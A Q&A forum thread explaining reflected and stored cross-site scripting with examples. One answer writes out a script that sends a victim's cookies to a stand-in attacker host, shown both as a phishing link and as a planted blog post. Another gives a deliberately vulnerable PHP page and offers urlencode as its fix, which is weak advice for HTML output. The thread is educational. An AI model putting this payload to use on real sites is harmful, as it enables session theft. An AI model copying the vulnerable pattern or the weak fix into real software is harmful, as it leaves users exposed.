What is Reflected XSS?

Question

Fed up with the following definition.

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server

Can somebody explain me with an example. And what is the main difference between Reflected XSS and Stored XSS?

Answer 1

So let's say you navigate to www.example.com/page?main.html and it puts you on the main page of example.com. Now you navigate to the index, which is located at www.example.com/page?index.html. You start to wonder, what other pages are there?

So you type in www.example.com/page?foo and hit enter, and you get an error page which will say something like "Resource foo is not found".

The thing to note here is that you put a parameter into the URL, and that parameter got reflected back to you as the user. In this case, it was the parameter "foo".

Now the idea behind reflected XSS should be a bit more clear; instead of inputting a lame parameter like "foo", you input something like <script>alert(1)</script>foo and hit enter. On a vulnerable site, that entire parameter will get injected into the error page that pops up, the javascript will execute, and you'll get a popup in addition to the "Resource foo is not found" message. If you can induce somebody else navigate to the same link that you crafted, you can execute arbitrary javascript in their session.

Answer 2

Reflected XSS

I send a victim a link to http://example.com/page?var=<script>alert('xss')</script> and somewhere on the page that value is echoed back to the victim. The value is only on the page if they follow my special link.

The downside of this type is I have to specifically attack one victim or a group of victims who I can get to click on a link. It may be hard to get another person to follow your link.

Stored XSS

I find a way to get a website to persist <script>alert('xss')</script> for some time, maybe in the database. Then I can send the victim to http://example.com/page and it reads the value out of the database and presents it to the victim.

The upside of this type is it will attack everyone who views the page.

Answer 3

For both types of XSS, consider a snippet of javascript like this:

<script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

If a hacker can get this to render on another site she can collect all the user cookies for any victim that loads such a page on that site. Reflected XSS and Stored XSS (or Persistent XSS) are two different methods for getting this script to show up on a vulnerable site.

• Reflected XSS - the script itself is passed in as a request parameter to some vulnerable part of the site, and the site renders the javascript on the page.
• Stored XSS - the javascript is deviantly stored in the page itself on a long-term basis.

Reflected XSS Example

I am a hacker and I send out a phish email with the following body.

Check this out: http://weak-site.com/search?keyword=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fevil.com%2F%3Fvictimcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

where the value of the keyword param decodes to the javascript snippet above. When the victim clicks the link, weak-site.com shows a page with the script embedded. The browser redirects the victim to the hacker's site and delivers the victim's cookie from weak-site.com.

Stored XSS Example

I am a hacker and I create a blog post on weak-site.com with the following content:

LOL :p. <script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

If the site renders my post intact, I can collect the cookie value of every user who views my post.

Answer 4

A very simple explanation:

Reflected XSS: The attack payload is included in a parameter when the victim follows a URL to the site.

Stored XSS: The attack payload is stored in the site itself and when anyone visits the page, regardless of the URL followed, the attack executes.

Answer 5

Better to give examples instead writing.

Reflective XSS POC

<?php
/**
 * @Author Vaibs
 *
 */
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
    $input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
    echo "Input from client is reflected back as ->  : " . $input;
}
?>

<html>
<body>
<form>
    <input type="text" name="appid"/>
    <input type="submit" name="Submit"/>
</form>
</body>
</html>

How to avoid ? Answer: Simplest is to use PHP function urlencode.

<?php
/**
 * @Author Vaibs
 *
 */
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
    $input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
    echo "Input from client is reflected back as ->  : " . urlencode($input);
}
?>

<html>
<body>
<form>
    <input type="text" name="appid"/>
    <input type="submit" name="Submit"/>
</form>
</body>
</html>

Difference is the use of urlencode function that is been used in the second code.